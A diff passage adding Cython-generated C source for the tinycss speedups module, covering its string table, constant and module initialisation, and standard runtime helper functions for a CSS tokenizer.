+ {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, + {&__pyx_n_s_char, __pyx_k_char, sizeof(__pyx_k_char), 0, 0, 1, 1}, + {&__pyx_n_s_close, __pyx_k_close, sizeof(__pyx_k_close), 0, 0, 1, 1}, + {&__pyx_n_s_codepoint, __pyx_k_codepoint, sizeof(__pyx_k_codepoint), 0, 0, 1, 1}, + {&__pyx_n_s_column, __pyx_k_column, sizeof(__pyx_k_column), 0, 0, 1, 1}, + {&__pyx_n_s_compiled_token_indexes, __pyx_k_compiled_token_indexes, sizeof(__pyx_k_compiled_token_indexes), 0, 0, 1, 1}, + {&__pyx_n_s_compiled_tokens, __pyx_k_compiled_tokens, sizeof(__pyx_k_compiled_tokens), 0, 0, 1, 1}, + {&__pyx_n_s_css_source, __pyx_k_css_source, sizeof(__pyx_k_css_source), 0, 0, 1, 1}, + {&__pyx_n_s_css_value, __pyx_k_css_value, sizeof(__pyx_k_css_value), 0, 0, 1, 1}, + {&__pyx_n_s_end, __pyx_k_end, sizeof(__pyx_k_end), 0, 0, 1, 1}, + {&__pyx_n_s_enumerate, __pyx_k_enumerate, sizeof(__pyx_k_enumerate), 0, 0, 1, 1}, + {&__pyx_n_s_find_newlines, __pyx_k_find_newlines, sizeof(__pyx_k_find_newlines), 0, 0, 1, 1}, + {&__pyx_n_s_format, __pyx_k_format, sizeof(__pyx_k_format), 0, 0, 1, 1}, + {&__pyx_n_s_genexpr, __pyx_k_genexpr, sizeof(__pyx_k_genexpr), 0, 0, 1, 1}, + {&__pyx_n_s_group, __pyx_k_group, sizeof(__pyx_k_group), 0, 0, 1, 1}, + {&__pyx_kp_s_home_lize_Informatique_tinycss, __pyx_k_home_lize_Informatique_tinycss, sizeof(__pyx_k_home_lize_Informatique_tinycss), 0, 0, 1, 0}, + {&__pyx_n_s_ignore_comments, __pyx_k_ignore_comments, sizeof(__pyx_k_ignore_comments), 0, 0, 1, 1}, + {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, + {&__pyx_n_s_is_container, __pyx_k_is_container, sizeof(__pyx_k_is_container), 0, 0, 1, 1}, + {&__pyx_n_s_length, __pyx_k_length, sizeof(__pyx_k_length), 0, 0, 1, 1}, + {&__pyx_n_s_line, __pyx_k_line, sizeof(__pyx_k_line), 0, 0, 1, 1}, + {&__pyx_n_s_lower, __pyx_k_lower, sizeof(__pyx_k_lower), 0, 0, 1, 1}, + {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, + {&__pyx_n_s_match, __pyx_k_match, sizeof(__pyx_k_match), 0, 0, 1, 1}, + {&__pyx_n_s_n_tokens, __pyx_k_n_tokens, sizeof(__pyx_k_n_tokens), 0, 0, 1, 1}, + {&__pyx_n_s_newline_unescape, __pyx_k_newline_unescape, sizeof(__pyx_k_newline_unescape), 0, 0, 1, 1}, + {&__pyx_n_s_newlines, __pyx_k_newlines, sizeof(__pyx_k_newlines), 0, 0, 1, 1}, + {&__pyx_n_s_next_pos, __pyx_k_next_pos, sizeof(__pyx_k_next_pos), 0, 0, 1, 1}, + {&__pyx_n_s_pos, __pyx_k_pos, sizeof(__pyx_k_pos), 0, 0, 1, 1}, + {&__pyx_n_s_regexp, __pyx_k_regexp, sizeof(__pyx_k_regexp), 0, 0, 1, 1}, + {&__pyx_n_s_send, __pyx_k_send, sizeof(__pyx_k_send), 0, 0, 1, 1}, + {&__pyx_n_s_simple_unescape, __pyx_k_simple_unescape, sizeof(__pyx_k_simple_unescape), 0, 0, 1, 1}, + {&__pyx_n_s_source_len, __pyx_k_source_len, sizeof(__pyx_k_source_len), 0, 0, 1, 1}, + {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, + {&__pyx_n_s_throw, __pyx_k_throw, sizeof(__pyx_k_throw), 0, 0, 1, 1}, + {&__pyx_n_s_tinycss_speedups, __pyx_k_tinycss_speedups, sizeof(__pyx_k_tinycss_speedups), 0, 0, 1, 1}, + {&__pyx_n_s_token, __pyx_k_token, sizeof(__pyx_k_token), 0, 0, 1, 1}, + {&__pyx_n_s_token_data, __pyx_k_token_data, sizeof(__pyx_k_token_data), 0, 0, 1, 1}, + {&__pyx_n_s_tokenize_flat, __pyx_k_tokenize_flat, sizeof(__pyx_k_tokenize_flat), 0, 0, 1, 1}, + {&__pyx_n_s_tokens, __pyx_k_tokens, sizeof(__pyx_k_tokens), 0, 0, 1, 1}, + {&__pyx_n_s_tokens_dispatch, __pyx_k_tokens_dispatch, sizeof(__pyx_k_tokens_dispatch), 0, 0, 1, 1}, + {&__pyx_n_s_type, __pyx_k_type, sizeof(__pyx_k_type), 0, 0, 1, 1}, + {&__pyx_n_s_type_name, __pyx_k_type_name, sizeof(__pyx_k_type_name), 0, 0, 1, 1}, + {&__pyx_n_s_unicode_unescape, __pyx_k_unicode_unescape, sizeof(__pyx_k_unicode_unescape), 0, 0, 1, 1}, + {&__pyx_n_s_unit, __pyx_k_unit, sizeof(__pyx_k_unit), 0, 0, 1, 1}, + {&__pyx_n_s_value, __pyx_k_value, sizeof(__pyx_k_value), 0, 0, 1, 1}, + {0, 0, 0, 0, 0, 0, 0} +}; +static int __Pyx_InitCachedBuiltins(void) { + __pyx_builtin_enumerate = __Pyx_GetBuiltinName(__pyx_n_s_enumerate); if (!__pyx_builtin_enumerate) __PYX_ERR(0, 22, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} + +static int __Pyx_InitCachedConstants(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); + + /* "tinycss/speedups.pyx":130 + * unit = None + * if type_ == DIMENSION: + * value = match.group(1) # <<<<<<<<<<<<<< + * value = float(value) if '.' in value else int(value) + * unit = match.group(2) + */ + __pyx_tuple__3 = PyTuple_Pack(1, __pyx_int_1); if (unlikely(!__pyx_tuple__3)) __PYX_ERR(0, 130, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__3); + __Pyx_GIVEREF(__pyx_tuple__3); + + /* "tinycss/speedups.pyx":132 + * value = match.group(1) + * value = float(value) if '.' in value else int(value) + * unit = match.group(2) # <<<<<<<<<<<<<< + * unit = simple_unescape(unit) + * unit = unicode_unescape(unit) + */ + __pyx_tuple__5 = PyTuple_Pack(1, __pyx_int_2); if (unlikely(!__pyx_tuple__5)) __PYX_ERR(0, 132, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__5); + __Pyx_GIVEREF(__pyx_tuple__5); + + /* "tinycss/speedups.pyx":137 + * unit = unit.lower() # normalize + * elif type_ == PERCENTAGE: + * value = css_value[:-1] # <<<<<<<<<<<<<< + * value = float(value) if '.' in value else int(value) + * unit = '%' + */ + __pyx_slice__6 = PySlice_New(Py_None, __pyx_int_neg_1, Py_None); if (unlikely(!__pyx_slice__6)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_slice__6); + __Pyx_GIVEREF(__pyx_slice__6); + + /* "tinycss/speedups.pyx":151 + * value = unicode_unescape(value) + * elif type_ == URI: + * value = match.group(1) # <<<<<<<<<<<<<< + * if value and value[0] in '"\'': + * value = value[1:-1] # Remove quotes + */ + __pyx_tuple__8 = PyTuple_Pack(1, __pyx_int_1); if (unlikely(!__pyx_tuple__8)) __PYX_ERR(0, 151, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__8); + __Pyx_GIVEREF(__pyx_tuple__8); + + /* "tinycss/speedups.pyx":153 + * value = match.group(1) + * if value and value[0] in '"\'': + * value = value[1:-1] # Remove quotes # <<<<<<<<<<<<<< + * value = newline_unescape(value) + * value = simple_unescape(value) + */ + __pyx_slice__10 = PySlice_New(__pyx_int_1, __pyx_int_neg_1, Py_None); if (unlikely(!__pyx_slice__10)) __PYX_ERR(0, 153, __pyx_L1_error) + __Pyx_GOTREF(__pyx_slice__10); + __Pyx_GIVEREF(__pyx_slice__10); + + /* "tinycss/speedups.pyx":158 + * value = unicode_unescape(value) + * elif type_ == STRING: + * value = css_value[1:-1] # Remove quotes # <<<<<<<<<<<<<< + * value = newline_unescape(value) + * value = simple_unescape(value) + */ + __pyx_slice__11 = PySlice_New(__pyx_int_1, __pyx_int_neg_1, Py_None); if (unlikely(!__pyx_slice__11)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_slice__11); + __Pyx_GIVEREF(__pyx_slice__11); + + /* "tinycss/speedups.pyx":172 + * elif type_ == BAD_STRING and next_pos == source_len: + * type_name = 'STRING' + * value = css_value[1:] # Remove quote # <<<<<<<<<<<<<< + * value = newline_unescape(value) + * value = simple_unescape(value) + */ + __pyx_slice__12 = PySlice_New(__pyx_int_1, Py_None, Py_None); if (unlikely(!__pyx_slice__12)) __PYX_ERR(0, 172, __pyx_L1_error) + __Pyx_GOTREF(__pyx_slice__12); + __Pyx_GIVEREF(__pyx_slice__12); + + /* "tinycss/speedups.pyx":55 + * + * + * def tokenize_flat(css_source, int ignore_comments=1): # <<<<<<<<<<<<<< + * """ + * :param css_source: + */ + __pyx_tuple__13 = PyTuple_Pack(41, __pyx_n_s_css_source, __pyx_n_s_ignore_comments, __pyx_n_s_tokens_dispatch, __pyx_n_s_compiled_token_indexes, __pyx_n_s_compiled_tokens, __pyx_n_s_unicode_unescape, __pyx_n_s_newline_unescape, __pyx_n_s_simple_unescape, __pyx_n_s_find_newlines, __pyx_n_s_BAD_COMMENT, __pyx_n_s_BAD_STRING, __pyx_n_s_PERCENTAGE, __pyx_n_s_DIMENSION, __pyx_n_s_ATKEYWORD, __pyx_n_s_FUNCTION, __pyx_n_s_COMMENT, __pyx_n_s_NUMBER, __pyx_n_s_STRING, __pyx_n_s_IDENT, __pyx_n_s_HASH, __pyx_n_s_URI, __pyx_n_s_DELIM, __pyx_n_s_pos, __pyx_n_s_line, __pyx_n_s_column, __pyx_n_s_source_len, __pyx_n_s_n_tokens, __pyx_n_s_length, __pyx_n_s_next_pos, __pyx_n_s_type, __pyx_n_s_token, __pyx_n_s_tokens, __pyx_n_s_char, __pyx_n_s_type_name, __pyx_n_s_css_value, __pyx_n_s_codepoint, __pyx_n_s_regexp, __pyx_n_s_match, __pyx_n_s_unit, __pyx_n_s_value, __pyx_n_s_newlines); if (unlikely(!__pyx_tuple__13)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__13); + __Pyx_GIVEREF(__pyx_tuple__13); + __pyx_codeobj__14 = (PyObject*)__Pyx_PyCode_New(2, 0, 41, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__13, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_lize_Informatique_tinycss, __pyx_n_s_tokenize_flat, 55, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__14)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} + +static int __Pyx_InitGlobals(void) { + if (__Pyx_InitStrings(__pyx_string_tab) < 0) __PYX_ERR(0, 1, __pyx_L1_error); + __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_neg_1 = PyInt_FromLong(-1); if (unlikely(!__pyx_int_neg_1)) __PYX_ERR(0, 1, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} + +#if PY_MAJOR_VERSION < 3 +PyMODINIT_FUNC initspeedups(void); /*proto*/ +PyMODINIT_FUNC initspeedups(void) +#else +PyMODINIT_FUNC PyInit_speedups(void); /*proto*/ +PyMODINIT_FUNC PyInit_speedups(void) +#endif +{ + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + __Pyx_RefNannyDeclarations + #if CYTHON_REFNANNY + __Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); + if (!__Pyx_RefNanny) { + PyErr_Clear(); + __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); + if (!__Pyx_RefNanny) + Py_FatalError("failed to import 'refnanny' module"); + } + #endif + __Pyx_RefNannySetupContext("PyMODINIT_FUNC PyInit_speedups(void)", 0); + if (__Pyx_check_binary_version() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pyx_CyFunction_USED + if (__pyx_CyFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_FusedFunction_USED + if (__pyx_FusedFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Coroutine_USED + if (__pyx_Coroutine_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Generator_USED + if (__pyx_Generator_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_StopAsyncIteration_USED + if (__pyx_StopAsyncIteration_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + /*--- Library function declarations ---*/ + /*--- Threads initialization code ---*/ + #if defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS + #ifdef WITH_THREAD /* Python build with threading support? */ + PyEval_InitThreads(); + #endif + #endif + /*--- Module creation code ---*/ + #if PY_MAJOR_VERSION < 3 + __pyx_m = Py_InitModule4("speedups", __pyx_methods, __pyx_k_tinycss_speedups_Cython_module, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); + #else + __pyx_m = PyModule_Create(&__pyx_moduledef); + #endif + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) + Py_INCREF(__pyx_d); + __pyx_b = PyImport_AddModule(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) + #if CYTHON_COMPILING_IN_PYPY + Py_INCREF(__pyx_b); + #endif + if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error); + /*--- Initialize various global constants etc. ---*/ + if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) + if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + if (__pyx_module_is_main_tinycss__speedups) { + if (PyObject_SetAttrString(__pyx_m, "__name__", __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + } + #if PY_MAJOR_VERSION >= 3 + { + PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) + if (!PyDict_GetItemString(modules, "tinycss.speedups")) { + if (unlikely(PyDict_SetItemString(modules, "tinycss.speedups", __pyx_m) < 0)) __PYX_ERR(0, 1, __pyx_L1_error) + } + } + #endif + /*--- Builtin init code ---*/ + if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Constants init code ---*/ + if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Global init code ---*/ + /*--- Variable export code ---*/ + /*--- Function export code ---*/ + /*--- Type init code ---*/ + if (PyType_Ready(&__pyx_type_7tinycss_8speedups_CToken) < 0) __PYX_ERR(0, 25, __pyx_L1_error) + __pyx_type_7tinycss_8speedups_CToken.tp_print = 0; + if (PyObject_SetAttrString(__pyx_m, "CToken", (PyObject *)&__pyx_type_7tinycss_8speedups_CToken) < 0) __PYX_ERR(0, 25, __pyx_L1_error) + __pyx_ptype_7tinycss_8speedups_CToken = &__pyx_type_7tinycss_8speedups_CToken; + if (PyType_Ready(&__pyx_type_7tinycss_8speedups___pyx_scope_struct__genexpr) < 0) __PYX_ERR(0, 22, __pyx_L1_error) + __pyx_type_7tinycss_8speedups___pyx_scope_struct__genexpr.tp_print = 0; + __pyx_ptype_7tinycss_8speedups___pyx_scope_struct__genexpr = &__pyx_type_7tinycss_8speedups___pyx_scope_struct__genexpr; + /*--- Type import code ---*/ + /*--- Variable import code ---*/ + /*--- Function import code ---*/ + /*--- Execution code ---*/ + #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + + /* "tinycss/speedups.pyx":17 + * + * from .token_data import ( + * COMPILED_TOKEN_REGEXPS, UNICODE_UNESCAPE, NEWLINE_UNESCAPE, # <<<<<<<<<<<<<< + * SIMPLE_UNESCAPE, FIND_NEWLINES, TOKEN_DISPATCH) + * + */ + __pyx_t_1 = PyList_New(6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_INCREF(__pyx_n_s_COMPILED_TOKEN_REGEXPS); + __Pyx_GIVEREF(__pyx_n_s_COMPILED_TOKEN_REGEXPS); + PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_COMPILED_TOKEN_REGEXPS); + __Pyx_INCREF(__pyx_n_s_UNICODE_UNESCAPE); + __Pyx_GIVEREF(__pyx_n_s_UNICODE_UNESCAPE); + PyList_SET_ITEM(__pyx_t_1, 1, __pyx_n_s_UNICODE_UNESCAPE); + __Pyx_INCREF(__pyx_n_s_NEWLINE_UNESCAPE); + __Pyx_GIVEREF(__pyx_n_s_NEWLINE_UNESCAPE); + PyList_SET_ITEM(__pyx_t_1, 2, __pyx_n_s_NEWLINE_UNESCAPE); + __Pyx_INCREF(__pyx_n_s_SIMPLE_UNESCAPE); + __Pyx_GIVEREF(__pyx_n_s_SIMPLE_UNESCAPE); + PyList_SET_ITEM(__pyx_t_1, 3, __pyx_n_s_SIMPLE_UNESCAPE); + __Pyx_INCREF(__pyx_n_s_FIND_NEWLINES); + __Pyx_GIVEREF(__pyx_n_s_FIND_NEWLINES); + PyList_SET_ITEM(__pyx_t_1, 4, __pyx_n_s_FIND_NEWLINES); + __Pyx_INCREF(__pyx_n_s_TOKEN_DISPATCH); + __Pyx_GIVEREF(__pyx_n_s_TOKEN_DISPATCH); + PyList_SET_ITEM(__pyx_t_1, 5, __pyx_n_s_TOKEN_DISPATCH); + + /* "tinycss/speedups.pyx":16 + * from __future__ import unicode_literals + * + * from .token_data import ( # <<<<<<<<<<<<<< + * COMPILED_TOKEN_REGEXPS, UNICODE_UNESCAPE, NEWLINE_UNESCAPE, + * SIMPLE_UNESCAPE, FIND_NEWLINES, TOKEN_DISPATCH) + */ + __pyx_t_2 = __Pyx_Import(__pyx_n_s_token_data, __pyx_t_1, 1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_COMPILED_TOKEN_REGEXPS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_COMPILED_TOKEN_REGEXPS, __pyx_t_1) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_UNICODE_UNESCAPE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_UNICODE_UNESCAPE, __pyx_t_1) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_NEWLINE_UNESCAPE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_NEWLINE_UNESCAPE, __pyx_t_1) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_SIMPLE_UNESCAPE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_SIMPLE_UNESCAPE, __pyx_t_1) < 0) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_FIND_NEWLINES); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_FIND_NEWLINES, __pyx_t_1) < 0) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_TOKEN_DISPATCH); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_TOKEN_DISPATCH, __pyx_t_1) < 0) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "tinycss/speedups.pyx":22 + * + * COMPILED_TOKEN_INDEXES = dict( + * (name, i) for i, (name, regexp) in enumerate(COMPILED_TOKEN_REGEXPS)) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_2 = __pyx_pf_7tinycss_8speedups_2genexpr(NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + + /* "tinycss/speedups.pyx":21 + * + * + * COMPILED_TOKEN_INDEXES = dict( # <<<<<<<<<<<<<< + * (name, i) for i, (name, regexp) in enumerate(COMPILED_TOKEN_REGEXPS)) + * + */ + __pyx_t_1 = __Pyx_Generator_Next(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_COMPILED_TOKEN_INDEXES, __pyx_t_1) < 0) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":30 + * + * """ + * is_container = False # <<<<<<<<<<<<<< + * + * cdef public object type, _as_css, value, unit + */ + if (PyDict_SetItem((PyObject *)__pyx_ptype_7tinycss_8speedups_CToken->tp_dict, __pyx_n_s_is_container, Py_False) < 0) __PYX_ERR(0, 30, __pyx_L1_error) + PyType_Modified(__pyx_ptype_7tinycss_8speedups_CToken); + + /* "tinycss/speedups.pyx":55 + * + * + * def tokenize_flat(css_source, int ignore_comments=1): # <<<<<<<<<<<<<< + * """ + * :param css_source: + */ + __pyx_t_1 = PyCFunction_NewEx(&__pyx_mdef_7tinycss_8speedups_1tokenize_flat, NULL, __pyx_n_s_tinycss_speedups); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_tokenize_flat, __pyx_t_1) < 0) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":1 + * # coding: utf-8 # <<<<<<<<<<<<<< + * """ + * tinycss.speedups + */ + __pyx_t_1 = PyDict_New(); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_1) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /*--- Wrapped vars code ---*/ + + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + if (__pyx_m) { + if (__pyx_d) { + __Pyx_AddTraceback("init tinycss.speedups", __pyx_clineno, __pyx_lineno, __pyx_filename); + } + Py_DECREF(__pyx_m); __pyx_m = 0; + } else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_ImportError, "init tinycss.speedups"); + } + __pyx_L0:; + __Pyx_RefNannyFinishContext(); + #if PY_MAJOR_VERSION < 3 + return; + #else + return __pyx_m; + #endif +} + +/* --- Runtime support code --- */ +/* Refnanny */ +#if CYTHON_REFNANNY +static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { + PyObject *m = NULL, *p = NULL; + void *r = NULL; + m = PyImport_ImportModule((char *)modname); + if (!m) goto end; + p = PyObject_GetAttrString(m, (char *)"RefNannyAPI"); + if (!p) goto end; + r = PyLong_AsVoidPtr(p); +end: + Py_XDECREF(p); + Py_XDECREF(m); + return (__Pyx_RefNannyAPIStruct *)r; +} +#endif + +/* GetBuiltinName */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name) { + PyObject* result = __Pyx_PyObject_GetAttrStr(__pyx_b, name); + if (unlikely(!result)) { + PyErr_Format(PyExc_NameError, +#if PY_MAJOR_VERSION >= 3 + "name '%U' is not defined", name); +#else + "name '%.200s' is not defined", PyString_AS_STRING(name)); +#endif + } + return result; +} + +/* GetModuleGlobalName */ +static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name) { + PyObject *result; +#if CYTHON_COMPILING_IN_CPYTHON + result = PyDict_GetItem(__pyx_d, name); + if (likely(result)) { + Py_INCREF(result); + } else { +#else + result = PyObject_GetItem(__pyx_d, name); + if (!result) { + PyErr_Clear(); +#endif + result = __Pyx_GetBuiltinName(name); + } + return result; +} + +/* RaiseTooManyValuesToUnpack */ + static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected) { + PyErr_Format(PyExc_ValueError, + "too many values to unpack (expected %" CYTHON_FORMAT_SSIZE_T "d)", expected); +} + +/* RaiseNeedMoreValuesToUnpack */ + static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index) { + PyErr_Format(PyExc_ValueError, + "need more than %" CYTHON_FORMAT_SSIZE_T "d value%.1s to unpack", + index, (index == 1) ? "" : "s"); +} + +/* IterFinish */ + static CYTHON_INLINE int __Pyx_IterFinish(void) { +#if CYTHON_COMPILING_IN_CPYTHON + PyThreadState *tstate = PyThreadState_GET(); + PyObject* exc_type = tstate->curexc_type; + if (unlikely(exc_type)) { + if (likely(exc_type == PyExc_StopIteration) || PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)) { + PyObject *exc_value, *exc_tb; + exc_value = tstate->curexc_value; + exc_tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; + Py_DECREF(exc_type); + Py_XDECREF(exc_value); + Py_XDECREF(exc_tb); + return 0; + } else { + return -1; + } + } + return 0; +#else + if (unlikely(PyErr_Occurred())) { + if (likely(PyErr_ExceptionMatches(PyExc_StopIteration))) { + PyErr_Clear(); + return 0; + } else { + return -1; + } + } + return 0; +#endif +} + +/* UnpackItemEndCheck */ + static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected) { + if (unlikely(retval)) { + Py_DECREF(retval); + __Pyx_RaiseTooManyValuesError(expected); + return -1; + } else { + return __Pyx_IterFinish(); + } + return 0; +} + +/* PyIntBinop */ + #if CYTHON_COMPILING_IN_CPYTHON +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, CYTHON_UNUSED long intval, CYTHON_UNUSED int inplace) { + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long x; + long a = PyInt_AS_LONG(op1); + x = (long)((unsigned long)a + b); + if (likely((x^a) >= 0 || (x^b) >= 0)) + return PyInt_FromLong(x); + return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS && PY_MAJOR_VERSION >= 3 + if (likely(PyLong_CheckExact(op1))) { + const long b = intval; + long a, x; + 